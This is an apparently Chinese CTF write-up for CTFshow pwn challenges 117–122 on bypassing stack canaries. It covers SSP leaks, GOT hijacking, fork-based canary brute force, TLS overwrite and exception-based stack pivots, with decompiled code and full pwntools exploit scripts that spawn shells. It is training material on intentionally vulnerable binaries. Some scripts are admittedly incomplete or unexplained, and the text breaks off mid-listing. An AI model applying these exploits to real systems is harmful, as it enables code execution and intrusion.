[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
canary:0x8952fa00
[*] Switching to interactive mode
$ ls
ctfshow_flag

pwn117【试一下远程,覆盖__libc_argv[0]】(SSP Leak有版本限制最好小于libc2.23)

Hint:Bypass Canary 姿势3

原理:由于canary检测篡改后会调用stack_chk_fail函数,其中一个参数是文件名,即“__libc_argv[0]”,将此覆盖就能输出特定内容。

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

64位开启了Canary保护与NX保护,部分开启RELRO保护

IDA查看main函数:

int __fastcall main(int argc, const char **argv, const char **envp)
{
int fd; // [rsp+2Ch] [rbp-114h]
_BYTE v5[264]; // [rsp+30h] [rbp-110h] BYREF
unsigned __int64 v6; // [rsp+138h] [rbp-8h]

v6 = __readfsqword(0x28u);
logo();
init();
fd = open("/flag", 0);
if ( !fd )
{
puts("No such file or directory.");
exit(-1);
}
read(fd, &buf, 0x100u);
puts("Haha,It has reduced you a lot of difficulty!");
gets(v5);
return 0;
}
.bss:00000000006020A0                 public buf
.bss:00000000006020A0 buf db ? ; ; DATA XREF: main+88↑o
//stack_chk_fail最终会调用__fortify_fail函数输出错误信息,其关键代码(简化)为:
void __fortify_fail(const char *msg) {
__libc_message(2, "*** %s ***: %s terminated\n", msg, __libc_argv[0]);
abort();
}
//报错信息格式:*** stack smashing detected ***: [程序名] terminated其中__libc_argv[0]是全局指针变量,存储程序的命令行参数第一个值(即程序自身的路径如./exploit)。

可以看到程序先以及读取了/flag⽂件,然后可以看到buf在bss段,gets(v5)明显的栈溢出漏洞canary检测失败时会调⽤stack_chk_fail函数,输出⼀段报错,报错会输出⽂件名,覆盖⽂件名指针,从⽽实现任意读,也就是覆盖变量__libc_argv[0]

这样我们就可以在canary检测失败时,输出我们想要的flag值:

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./pwn')

io.recvuntil(b'aha,It has reduced you a lot of difficulty!')
payload = b'a' * 504 + p64(0x6020A0)
io.sendline(payload)
io.interactive()
#debug算出gets时候的栈地址和__libc_argv[0]距离即可,但我算不对,直接爆破[有师傅教一下吗]:
from pwn import *
context(arch='amd64', os='linux',log_level='info')
flag = 0x6020A0

def pwn(i):
print(i)
io.recvuntil('Haha,It has reduced you a lot of difficulty!')
payload = cyclic(i) + p64(flag)
io.sendline(payload)
print(io.recvall())
io.close()

for i in range(280,504)
io = remote('pwn.challenge.ctf.show',28214)
pwn(i)
sleep(0.1)

pwn118(劫持___stack_chk_fail函数绕过canary)

Hint:Bypass Canary 姿势4

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

32位开启Canary与NX保护

IDA查看main函数,跟进ctfshow函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
init(&argc);
logo();
puts("Nice to meet you");
ctfshow();
return 0;
}

unsigned int ctfshow()
{
char buf[80]; // [esp+Ch] [ebp-5Ch] BYREF
unsigned int v2; // [esp+5Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
read(0, buf, 0xA0u);
printf(buf);
return __readgsdword(0x14u) ^ v2;
}

还是明显的栈溢出漏洞跟格式化字符串漏洞,这次我们再换⼀种⽅式进⾏绕过

我们还是发现存在后⻔函数:

int get_flag()
{
return system("cat /ctfshow_flag");
}

这次我们劫持__stack_chk_fail函数,由于这⾥存在后⻔函数能直接获取flag,那么我们只需要将其改

写为get_flag函数的地址就可以了。

$ ./pwn
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Linux_Security_Mechanism_Bypass
* Site : https://ctf.show/
* Hint : Turned on Canary, simply bypass it!
* *************************************
Nice to meet you
AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
AAAA.0xffb77aac.0xa0.0x8048719.0x46.0xe8929d40.0xffb77ae8.0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70

偏移量7

from pwn import *
context.log_level = 'debug'
io = process('./pwn')
elf = ELF('./pwn')

stack_chk_fail_got = elf.got['__stack_chk_fail']
getflag = elf.sym['get_flag']

payload = fmtstr_payload(7,{stack_chk_fail_got:getflag})
payload = payload.ljust(80,'a')
io.sendline(payload)
io.recv()
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 101
[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
[*] Switching to interactive mode
flag{just_test_my_process}
[*] Got EOF while reading in interactive

pwn119(fork+puts来泄露canary)

Hint:Bypass Canary 姿势5

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

32位开启Canary与NX保护,部分开启RELRO保护

IDA查看main函数:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
init(&argc);
puts(asc_8048918);
puts(asc_804898C);
puts(asc_8048A08);
puts(asc_8048A94);
puts(asc_8048B24);
puts(asc_8048BA8);
puts(asc_8048C3C);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Linux_Security_Mechanism_Bypass ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : Turned on Canary, simply bypass it! ");
puts(" * ************************************* ");
while ( 1 )
{
puts("Try PWN Me!");
if ( !fork() )
break;
wait(0);
}
ctfshow();
exit(0);
}

程序中存在fork函数,⽽且还是不断循环,跟进ctfshow函数:

unsigned int ctfshow()
{
char s[100]; // [esp+8h] [ebp-70h] BYREF
unsigned int v2; // [esp+6Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
memset(s, 0, sizeof(s));
read(0, s, 0x200u);
puts(s);
return __readgsdword(0x14u) ^ v2;
}

还是栈溢出漏洞,开启了Canary保护,因此我们需要先绕过保护

每次进程重启后的Canary是不同的,但是同⼀个进程中的Canary都是⼀样的。并且 通过 fork 函数创建的⼦进程的 Canary 也是相同的,因为 fork 函数会直接拷⻉⽗进程的内存。因此我们可以考虑进⾏one by one 爆破

还有后门函数:

int backdoor()
{
return system("/bin/sh");
}
from pwn import *
context.log_level = 'debug'
io = process('./pwn')
elf = ELF('./pwn')
backdoor = elf.sym['backdoor']

canary = b'\x00' # Canary首字节固定为0x00[字符串终止符](防止被字符串函数完整泄露)
for i in range(3): # 爆破Canary的后3个字节(共4字节)
for j in range(0, 256): # 每个字节尝试0-255所有可能值
payload = b'a' * (0x70 - 0xC) + canary + bytes([j]) #缓冲区s到 Canary 的偏移
io.send(payload)
sleep(0.3) # 等待接收响应
text = io.recv()
# 判断是否猜对当前字节:若未触发栈溢出检测,说明Canary未被破坏
if (b"stack smashing detected" not in text):
canary += bytes([j]) # 猜对则将该字节加入Canary
print(f"Canary: {canary.hex()}") # 转为十六进制字符串打印
break # 进入下一个字节的爆破


print(f'Canary: {hex(u32(canary))}') # 打印获取到的Canary(转为32位整数)
# 构造溢出Payload:覆盖缓冲区 -> 填入正确Canary -> 覆盖ebp -> 覆盖返回地址为backdoor
payload = b'a' * 100 + canary + b'a' * 0xc + p32(backdoor)
io.send(payload)
io.recv()
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 363
[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Canary: 0029
Canary: 002981
Canary: 00298112
Canary: 0x12812900
[*] Switching to interactive mode
$ ls
ctfshow_flag

pwn120(劫持TLS绕过canary)

Hint:Bypass Canary 姿势6

前提条件:

  1. 溢出字节足够大(通常至少4KB):这是因为TLS(Thread Local Storage)通常位于线程栈的高地址区域(例如,在x86-64 Linux中,TLS可能位于栈顶附近)。需要覆盖整个栈缓冲区直到TLS区域,因此溢出大小需要至少一个内存页(4KB)或更多,具体取决于TLS的偏移量。
  2. 在线程内发生栈溢出:这种利用技术依赖于线程的TLS。主线程的TLS布局可能不同,而新创建的线程的TLS更容易定位和覆盖。因此,通常需要在程序创建一个新线程后,在该线程的栈函数中进行溢出。

原理:

  • TLS与canary的关系:当程序开启canary保护(如GCC的-fstack-protector)时,每个线程在创建时都会生成一个独立的canary值,并存储在其TLS中(例如,在Linux glibc中,canary值存储在TLS结构的stack_guard字段)。函数序言中从TLS读取canary值并放入栈上,函数返回前检查栈上的canary值是否与TLS中的值一致。
  • TLS的位置:在线程栈中,TLS通常位于栈的高地址端(即栈顶附近)。通过计算偏移量,可以确定TLS相对于栈缓冲区的具体位置。
  • 劫持TLS:通过栈溢出,覆盖从栈缓冲区到TLS区域的内存,从而修改TLS中的canary值。攻击者可以将TLS中的canary值覆盖为一个已知值(例如全零),然后在溢出时构造payload,使栈上的canary值与修改后的TLS值匹配,从而绕过canary检查。
  • 后续利用:绕过canary后,攻击者可以进一步覆盖返回地址,执行ROP(Return-Oriented Programming)链,实现代码执行。

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

64位仅关闭PIE

IDA查看main函数:

int __fastcall main(int argc, const char **argv, const char **envp)
{
pthread_t newthread[2]; // [rsp+0h] [rbp-10h] BYREF
//pthread_t 是 POSIX 线程库中表示 “线程 ID” 的类型(类似进程的 PID,但针对线程);newthread[2] 定义了一个包含 2 个元素的数组,用于存储线程 ID。

newthread[1] = __readfsqword(0x28u); //把当前线程的 canary 值读取出来,存入 newthread[1] 中
init(argc, argv, envp);
logo();
pthread_create(newthread, 0, start, 0);
/*这是 POSIX 线程库创建新线程的函数 pthread_create,参数含义:
第一个参数 newthread:指针,用于存储新创建线程的 ID(会写入 newthread[0],因为数组名是首元素地址)。
第二个参数 0:线程属性(传 0 表示使用默认属性)。
第三个参数 start:新线程要执行的函数(线程入口函数,类似 main 函数)。
第四个参数 0:传给 start 函数的参数(这里传空)。*/
if ( pthread_join(newthread[0], 0) )
{/*pthread_join 是等待线程结束的函数,参数含义:
第一个参数 newthread[0]:要等待的线程 ID(即刚创建的那个线程)。
第二个参数 0:指针,用于接收线程的返回值(传 0 表示不关心返回值)。
函数返回值:如果等待成功返回 0,失败返回非 0。
效果:主线程会暂停在这里,等待 newthread[0] 对应的线程执行完;如果等待失败,就打印 "exit failure" 并退出。*/
puts("exit failure");
return 1;
}
else
{
puts("Bye bye");
return 0;
}
}

创建了⼀个线程,线程 ID 存到 newthread[0],新线程会执行 start 函数,跟进看⼀下:

void *__fastcall start(void *a1)
{
unsigned __int64 n0x5000; // [rsp+8h] [rbp-518h]
_BYTE s[1288]; // [rsp+10h] [rbp-510h] BYREF
unsigned __int64 v4; // [rsp+518h] [rbp-8h]

v4 = __readfsqword(0x28u);
memset(s, 0, 0x500u);
puts("Old friends meet again!");
puts("How much do you want to send this time?");
n0x5000 = lenth();
if ( n0x5000 <= 0x5000 )
{
readn(0, s, n0x5000);
puts("See you next time!");
}
else
{
puts("Are you kidding me?");
}
return 0;
}

⼦进程⾥⾯先让⽤⼾输⼊要输⼊的⼤⼩,如果⼤于0x5000就输出”Are you kidding me?”,如果⼩于等于就进⾏读取明显存在栈溢出。

Canary 储存在 TLS 中,在函数返回前会使⽤这个值进⾏对⽐。当溢出尺⼨较⼤时,可以同时覆盖栈上

储存的 Canary 和 TLS 储存的 Canary 实现绕过。

我们可以从这⾥溢出到TLS修改canary,接下来就是确定canary的位置

之后便是确定好偏移,然后构造ROP链,泄露地址puts函数的地址,计算出libcbase,最后然后我们只需要在构造⼀个read,写⼀个one_gadget到stack_pivot上,然后控制返回地址回stack_pivot便能获取⼀个shell了

.text:0000000000400ADA                 leave
.text:0000000000400ADB retn
.text:0000000000400ADB ; } // starts at 400A1E
.text:0000000000400ADB start endp
$ ROPgadget --binary ./pwn | grep "ret"
0x0000000000400be3 : pop rdi ; ret
0x0000000000400be1 : pop rsi ; pop r15 ; ret
0x00000000004006be : ret

$ readelf -S pwn
There are 28 section headers, starting at offset 0x2b30:

Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align

[23] .bss NOBITS 0000000000602010 00002010
0000000000000020 0000000000000000 WA 0 0 16

$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4f29e execve("/bin/sh", rsp+0x40, environ)
constraints:
address rsp+0x50 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv

0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
address rsp+0x50 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, rax, r12, NULL} is a valid argv

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

leave_addr = 0x400ADA #stat函数leave指令的地址(用于栈迁移)
pop_rdi_ret = 0x400be3
pop_rsi_r15_ret = 0x400be1
bss_addr = 0x602010

payload = b'a' * 0x510 + p64(bss_addr - 0x8)
#填充到返回地址,设置新的rbp(为栈迁移准备)【-0x8是为了让leave指令执行后[pop rbp ;从栈顶弹出一个值到rbp,同时rsp增加8字节(因为弹出8字节数据)],rsp精准落在bss_addr(我们可控的区域)】

payload += p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.symbols['puts'])
#用pop_rdi_ret将puts的GOT表地址(存储puts实际地址)放入rdi,然后调用puts函数,泄露puts的实际地址

payload += p64(pop_rdi_ret) + p64(0) #rdi=0(标准输入)
payload += p64(pop_rsi_r15_ret) + p64(bss_addr) + p64(0) + p64(elf.symbols["read"]) #调用read(0, bss_addr, ...),从输入读取数据到bss段

#触发栈迁移
payload += p64(leave_addr) #执行leave后,rsp会指向bss_addr - 0x8,后续执行会从bss段读取指令

payload = payload.ljust(0x1000, b'a') # 填充到0x1000字节(满足输入长度要求)
io.sendlineafter(b"How much do you want to send this time?\n", b'4096') # 告诉程序输入长度为0x1000
sleep(0.5)
io.send(payload)

io.recvuntil(b"See you next time!\n") # 接收程序输出,定位到puts泄露的地址
puts = u64(io.recv(6).ljust(8, '\x00')) # 读取6字节(64位地址低6字节有效),补全为8字节
print(hex(puts))
libc_base = puts - libc.symbols["puts"]
one_gadget = libc_base + 0x4f302 # one-gadget地址(直接获取shell的函数)

payload = p64(one_gadget) # 构造包含one-gadget地址的payload
io.send(payload) # 发送到bss段(通过之前的read函数读取)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 94
[*] '/PWN/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
0x7f214ffb4970
[*] Switching to interactive mode

$ ls
ctfshow_flag

pwn121(ret不懂)

Hint:Bypass Canary 姿势7

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

64位开启Canary与NX保护,部分开启RELRO

IDA查看main函数(修改函数名后):

__int64 __fastcall main(int a1, char **a2, char **a3)
{
unsigned int seed; // eax
int v5; // [rsp+1Ch] [rbp-4h]

setbuf(stdin, 0);
setbuf(stdout, 0);
seed = time(0);
srand(seed);
puts("1.start flexmd5");
puts("2.start flexsha256");
puts("3.start flexsha1");
puts("4.test security");
puts("0 quit");
puts("option:");
v5 = sub_400F45("option:");
switch ( v5 )
{
case 1:
flexmd5("option:");
break;
case 2:
flexsha256("option:");
break;
case 3:
flexsha1("option:");
break;
case 4:
ctfshow("option:");
break;
default:
return 0;
}
return 0;
}

根据菜单栏,我们不难发现,⾸先着重引起注意的就是4 (ctfshow)跟进查看:

__int64 __fastcall ctfshow(__int64 p_option:)
{
int v2; // [rsp+Ch] [rbp-4h]

puts("1.test format string.");
puts("2.test stackoverflow.");
puts("3.test heapoverflow.");
puts("option:");
v2 = sub_400F45("option:");
switch ( v2 )
{
case 1:
return fmt();
case 2:
return stack_overflow();
case 3:
return heap_overflow();
}
return 0;
}

这⾥存在三个漏洞,分别为格式化字符串漏洞,栈溢出漏洞,堆溢出漏洞

fmt:

__int64 fmt()
{
unsigned __int64 buf; // rdx
unsigned __int8 buf_1; // [rsp+Fh] [rbp-631h]
char v3; // [rsp+Fh] [rbp-631h]
int n255; // [rsp+10h] [rbp-630h]
int n255_1; // [rsp+10h] [rbp-630h]
int v6; // [rsp+10h] [rbp-630h]
int v7; // [rsp+14h] [rbp-62Ch]
int v8; // [rsp+14h] [rbp-62Ch]
int i; // [rsp+18h] [rbp-628h]
signed __int64 v10; // [rsp+20h] [rbp-620h]
signed __int64 v11; // [rsp+28h] [rbp-618h]
char format[512]; // [rsp+30h] [rbp-610h] BYREF
char s[256]; // [rsp+230h] [rbp-410h] BYREF
char buf_[256]; // [rsp+330h] [rbp-310h] BYREF
char s_[520]; // [rsp+430h] [rbp-210h] BYREF
unsigned __int64 v16; // [rsp+638h] [rbp-8h]

v16 = __readfsqword(0x28u);
memset(format, 0, sizeof(format));
strcpy(s, "try_to_get_flag");
memset(&s[16], 0, 0xF0u);
v10 = strlen(s);
buf = (unsigned __int64)buf_;
memset(buf_, 0, sizeof(buf_));
v7 = 0;
for ( n255 = 0; n255 <= 255; ++n255 )
{
format[n255] = n255;
buf = (unsigned __int8)s[n255 % v10];
buf_[n255] = buf;
}
for ( n255_1 = 0; n255_1 <= 255; ++n255_1 )
{
v7 = (buf_[n255_1] + v7 + format[n255_1]) % 256;
buf_1 = format[n255_1];
format[n255_1] = format[v7];
buf = buf_1;
format[v7] = buf_1;
}
sub_400E76(s_, 500, buf);
v11 = strlen(s_);
v8 = 0;
v6 = 0;
for ( i = 0; i < v11; ++i )
{
v6 = (v6 + 1) % 256;
v8 = (v8 + format[v6]) % 256;
v3 = format[v6];
format[v6] = format[v8];
format[v8] = v3;
s_[i] ^= format[(format[v8] + format[v6]) % 256];
}
printf(format);
return 0;
}

格式化字符串不可控[format数组的最终内容完全由程序初始逻辑和固定算法生成,不包含任何用户可控数据。]

stack_overflow:

int stack_overflow()
{
unsigned int v0; // eax
int v2; // [rsp+Ch] [rbp-EAE4h] BYREF
int v3; // [rsp+10h] [rbp-EAE0h] BYREF
int i; // [rsp+14h] [rbp-EADCh]
int j; // [rsp+18h] [rbp-EAD8h]
int k; // [rsp+1Ch] [rbp-EAD4h]
_DWORD v7[15026]; // [rsp+20h] [rbp-EAD0h] BYREF
unsigned __int64 v8; // [rsp+EAE8h] [rbp-8h]

v8 = __readfsqword(0x28u);
scanf("%d", &v2);
scanf("%d", &v3);
for ( i = 1; i <= v2; ++i )
scanf("%d %d", &v7[i], &v7[i + 12]);
for ( j = 1; j <= v2; ++j )
{
for ( k = 1; k <= v3; ++k )
{
if ( v7[j] > (unsigned int)k )
{
v7[1500 * j + 24 + k] = v7[1500 * j - 1476 + k];
}
else
{
v0 = v7[1500 * j - 1476 + k];
if ( v7[j + 12] + v7[1500 * j - 1476 + k - v7[j]] >= v0 )
v0 = v7[j + 12] + v7[1500 * j - 1476 + k - v7[j]];
v7[1500 * j + 24 + k] = v0;
}
}
}
return printf("%d\n", v7[1500 * v2 + 24 + v3]);
}

结构化写⼊(难用),但是程序开启了Canary保护

heap_overflow:

__int64 heap_overflow()
{
int v0; // eax
_BYTE *v1; // rax
__int64 result; // rax
char char; // [rsp+7h] [rbp-19h]
int i; // [rsp+8h] [rbp-18h]
unsigned int j; // [rsp+8h] [rbp-18h]
int v6; // [rsp+Ch] [rbp-14h]
int v7; // [rsp+10h] [rbp-10h]
int v8; // [rsp+14h] [rbp-Ch]
_BYTE *v9; // [rsp+18h] [rbp-8h]

v6 = 0;
v9 = malloc(0x3E8u);
v7 = -1;
v8 = -1;
while ( 1 )
{
char = getchar();
if ( char == -1 )
break;
v0 = v6++;
v9[v0] = char;
}
for ( i = 0; i < v6; ++i )
{
if ( v7 == -1 )
{
if ( v8 == -1 && v9[i] == 34 && v9[i - 1] != 92 )
{
v8 = 1;
}
else if ( v8 == 1 && v9[i] == 34 && v9[i - 1] != 92 )
{
v8 = -1;
}
}
if ( v8 == -1 )
{
if ( v7 == -1 && v9[i] == 47 && v9[i + 1] == 42 )
{
v7 = 1;
v9[i] = -1;
}
else if ( v7 == 1 && v9[i] == 42 && v9[i + 1] == 47 )
{
v1 = &v9[i + 1];
*v1 = -1;
v9[i] = *v1;
v7 = -1;
++i;
}
else if ( v7 == 1 )
{
v9[i] = -1;
}
}
}
for ( j = 0; ; ++j )
{
result = j;
if ( (int)j >= v6 )
break;
if ( v9[j] != 0xFF )
putchar((char)v9[j]);
}
return result;
}

只有 “while 循环读字符并写入 v9” 这一处操作会导致堆溢出,不会导致程序无法正常返回[堆内存与栈内存的独立性](没用)

从单个函数或者⾛⼊这个分⽀来看,并不好利⽤

查看其他函数(flexmd5):

image-20250825142037402

仔细观察函数流程,发现程序⾥进⾏了⼀个异常捕捉机制,在伪代码中这个结构体并没有显⽰

跟进函数查看⼀下:

__int64 __fastcall sub_401148(__int64 p_option:)
{
__int64 v1; // rdx
__int64 v2; // rdx
_DWORD *exception; // rax
_DWORD *v4; // rax
__int64 v5; // rdx
int i; // [rsp+Ch] [rbp-124h]
char s1[264]; // [rsp+10h] [rbp-120h] BYREF
unsigned __int64 v9; // [rsp+118h] [rbp-18h]

v9 = __readfsqword(0x28u);
puts("FlexMD5 bruteforce tool V0.1");
puts("custom md5 state (yes/No)");
sub_400E76(s1, 4, v1);
if ( !strncmp(s1, "yes", 3u) )
{
dword_6061A4 = 1;
puts("initial state[0]:");
dword_6061B0 = sub_400F45("initial state[0]:");
puts("initial state[1]:");
dword_6061B4 = sub_400F45("initial state[1]:");
puts("initial state[2]:");
dword_6061B8 = sub_400F45("initial state[2]:");
puts("initial state[3]:");
dword_6061BC = sub_400F45("initial state[3]:");
}
puts("custom charset (yes/No)");
sub_400E76(s1, 4, v2);
if ( !strncmp(s1, "yes", 3u) )
{
dword_6061A4 = 1;
puts("charset length:");
n256 = sub_400F45("charset length:");
if ( n256 > 256 )
{
exception = __cxa_allocate_exception(4u);
*exception = 2;
__cxa_throw(exception, (struct type_info *)&`typeinfo for'int, 0);
}
puts("charset:");
sub_400E76(s1, (unsigned int)(n256 + 1), (unsigned int)(n256 + 1));
off_606118 = strdup(s1); // "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
}
puts("bruteforce message pattern:");
sub_400F1E(s_, 1024);
dword_6061A0 = strlen(s_);
for ( i = 0; i < strlen(s_) && s_[i] != 46; ++i )
;
if ( i == strlen(s_) )
{
v4 = __cxa_allocate_exception(4u);
*v4 = 0;
__cxa_throw(v4, (struct type_info *)&`typeinfo for'int, 0);
}
puts("md5 pattern:");
sub_400E76(byte_6065C0, 33, v5);
return 0;
}

仔细观察可以发现这⾥存在⼀个整形溢出,对输⼊+1后进⾏了⽆符号整形强制转换[ sub_400E76(s1, (unsigned int)(n256 + 1), (unsigned int)(n256 + 1));]

__int64 __fastcall sub_400E76(__int64 a1, unsigned int a2)
{
char buf; // [rsp+13h] [rbp-Dh] BYREF
unsigned int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
for ( i = 0; i < a2; ++i )
{
read(0, &buf, 1u); //循环读a2个字节,写入a1(s1)
if ( buf == 10 )
{
*(_BYTE *)(i + a1) = 0;
return i + 1;
}
*(_BYTE *)(a1 + i) = buf;
}
*(_BYTE *)(a2 - 1 + a1) = 0;
return i;
}

进⽽⼜有了⼀个栈溢出漏洞,同样的程序开启了Canary保护,还是要想办法绕过

这⾥我们就需要了解并利⽤异常机制去绕过Canary保护了(详细原理课程中会给⼤家讲解,这⾥不讲述原理)

我们现在需要跳过canary检查,如果异常被上⼀个函数的catch捕获,所以rbp变成了上⼀个函数的rbp, ⽽通过构造⼀个payload把上⼀个函数的rbp修改成stack_pivot地址, 之后上⼀个函数返回的时候执⾏leave ret,这样⼀来我们就能成功绕过canary的检查,⽽且进⼀步我们也能控制eip,,去执⾏了stack_pivot中的rop了。

.bss:00000000006061C0 ; char s_[1024]
.bss:00000000006061C0 s_ db ? ; DATA XREF: sub_400F8F+29↑r
.bss:00000000006061C0 ; sub_400F8F+50↑r ...

.plt:0000000000400BD0 ; [00000006 BYTES: COLLAPSED FUNCTION _puts]

.got.plt:0000000000606020 off_606020 dq offset puts ; DATA XREF: _puts↑r

.text:0000000000401508 ; try {
.text:0000000000401508 call sub_401148
.text:000000000040150D call sub_400F8F
ssize_t __fastcall sub_400F1E(void *s, size_t n1024)
{
return read(0, s, n1024);
}

sub_401148:
char s1[264]; // [rsp+10h] [rbp-120h] BYREF
/*前 36 个覆盖s1到rbp之间的 288 字节;
第 37 个刚好覆盖rbp本身,将其修改为message_pattern(栈迁移目标)。*/
$ ROPgadget --binary ./pwn | grep "ret"
0x00000000004044d3 : pop rdi ; ret
0x00000000004044d1 : pop rsi ; pop r15 ; ret

$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4f29e execve("/bin/sh", rsp+0x40, environ)
constraints:
address rsp+0x50 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv

0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
address rsp+0x50 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, rax, r12, NULL} is a valid argv

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process("./pwn")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
message_pattern = 0x6061C0 # 全局变量,用于栈迁移+存ROP链
puts_plt = 0x400BD0
puts_got = 0x606020
readn = 0x400F1E # 程序自带的read函数(读取后续payload)
pop_rdi = 0x4044d3
pop_rsi_r15 = 0x4044d1
ret = 0x40150c #不懂,求教

io.recvuntil(b"option:\n")
io.sendline(b"1") #选1(flexmd5)
io.sendline(b"No") #选No(跳过MD5初始状态配置)
io.sendline(b"yes") #选yes(进入字符集配置,触发漏洞)
io.sendline(b'-2') #当用户输入n256 = -2时,因为(unsigned int)(n256 + 1)会强制把负数转成无符号整数0xffffffffffffffff
payload = p64(message_pattern)*37 + p64(ret) #填充数据(覆盖到上一层RBP) + 栈迁移目标(message_pattern) + ret(栈对齐)
io.sendline(payload)

# ROP链(泄露 libc 地址):调用puts(puts_got) → 输出puts的libc地址 → 调用readn读新payload
payload = (
p64(0) # 占位(栈迁移后rsp指向这里,不影响)
+ p64(pop_rdi) + p64(puts_got) + p64(puts_plt) # 调用puts(puts_got),泄露libc地址
# 调用readn(message_pattern+0x50, 1024) → 读后续payload到安全位置(避免覆盖当前ROP)
+ p64(pop_rdi) + p64(message_pattern + 0x50) # readn的第一个参数:目标地址 #整个初始 ROP 链的长度是 0x50(80 字节,每个p64占 8 字节,共 10 个)。
+ p64(pop_rsi_r15) + p64(1024) + p64(message_pattern + 0x50) # 第二个参数:长度;r15占位
+ p64(readn) # 调用readn
)
io.send(payload) # 发送ROP链(写入message_pattern)

io.recvuntil(b"pattern:\n")
puts = u64(io.recvuntil(b"\n")[:-1].ljust(8,b"\x00"))
libc_base = puts - libc.symbols["puts"]
one_gadget = libc_base + 0x4f302
payload = p64(one_gadget)
io.send(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 188
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Switching to interactive mode
$ ls

pwn122【堆,过】

Hint:Bypass Canary 姿势8,远程环境:Ubuntu 16

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

32位开启Canary保护NX保护,部分开启RELRO

IDA查看main函数:

int main()
{
void *ptr; // [esp+18h] [ebp-8h]

sub_804866D();
ptr = 0;
while ( 1 )
{
switch ( sub_8048B2E() )
{
case 1:
if ( ptr )
free(ptr);
ptr = (void *)sub_8048B03(0x100u);
sub_8048510("Done.");
continue;
case 2:
if ( ptr )
sub_8048780((char *)ptr);
goto LABEL_17;
case 3:
if ( ptr )
sub_8048823((char *)ptr);
goto LABEL_17;
case 4:
if ( ptr )
sub_80488C6((char *)ptr);
goto LABEL_17;
case 5:
if ( ptr )
sub_8048A70((char *)ptr);
LABEL_17:
sub_8048510("Done.");
break;
case 6:
